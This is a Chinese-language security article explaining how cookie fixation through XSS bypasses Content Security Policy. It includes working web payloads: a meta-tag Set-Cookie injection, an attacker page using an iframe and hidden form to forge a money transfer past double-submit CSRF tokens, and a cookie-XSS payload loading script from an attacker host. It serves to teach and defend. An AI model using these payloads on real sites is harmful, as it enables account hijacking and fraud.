CSP flaws: cookie fixation
前言
我們知道,CSP不會阻止 這樣的標簽。因此,對于含有XSS漏洞的頁面來說,即使提供了CSP保護,攻擊者仍然可以通過寫入Cookie來發動攻擊。 下面,我們來考察一些與Cookie篡改漏洞有關的例子。
雙重提交Cookie示例
雙重提交cookie是一些應用程序和框架用于處理CSRF的技術。這意味著所有表單都必須包含一個在cookie中設置的令牌。 如果在表單中發送的令牌與cookie中的令牌不同,則請求被丟棄。 這種技術被OWASP推薦為基于會話的令牌的替代方案。
在偽代碼中它可能看起來像這樣:
- //User sent the form
- if(isset($_POST['submit'])){
- if($_POST['token'] == $_COOKIE['token']){
- //Accept the form
- }else{
- echo "CSRF ATTACK DETECTED";
- exit();
- }
- }
沒有CSP的時候,如果應用程序含有XSS漏洞,那么攻擊者就可以使用腳本來填寫并提交他們想要攻擊的任何表單:
- <script>
- document.getElementById('sendmoneyto').value = 'Mathias';
- document.getElementById('form').submit();
- </script>
使用CSP后,我們就可以(通過使用隨機數或限制內聯腳本)避免這種情況了。然而,攻擊者可以使用以下payload來實現同樣的事情:
- <meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">
然后,在攻擊者的網站上:
- <script>
- function submitForm(){
- document.forms[0].submit();
- }
- </script>
- <iframe src='http://targetapplication/vulnerabletoxss?parameter=<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">' onload="submitForm()"></iframe>
- <form action="http://targetapplication/targetform" method="POST">
- <input type="hidden" name="token" value="NotSoSecretAnyMore" />
- <input type="hidden" name="sendmoneyto" value="Mathias" />
- </form>
因為攻擊者能夠改寫令牌,所以他們可以在其頁面上的表單中使用新令牌,從而繞過CSRF保護措施。
雙會話示例
現實中,使用多個會話Cookie的應用程序是非常少見的。例如,主應用程序使用一個會話Cookie,而“次應用程序”使用另一個會話Cookie。
如果攻擊者可以篡改cookie,他們就可以讓受害者在主應用程序中使用攻擊者的會話cookie。這樣的話,就可以讓受害者在主應用程序中以攻擊者身份登錄,而在次應用程序中以受害者身份登錄。
如果應用程序從主應用程序提取送貨數據,那么受害人在次應用程序中購買的產品就會被發往攻擊者的地址。
子域cookie XSS示例
如果子域中存在cookie XSS漏洞,攻擊者可以使用cookie篡改漏洞來設置XSS cookie,然后重定向到易受攻擊的頁面:
- <meta http-equiv="Set-Cookie" content="vulnerableCookie=<script src=//attackers/page.js>">
- <meta http-equiv="refresh" content="0;URL=http://othersubdomain.vulnerable/page_vulnerable_to_cookie_xss">
結論
雖然許多客戶端漏洞都可以通過CSP進行緩解,但是Cookie篡改仍然會導致一些安全問題,因為它對于這種漏洞根本不起作用。當開發使用CSP和cookie的應用程序時,一定要注意各種類型攻擊的不同之處。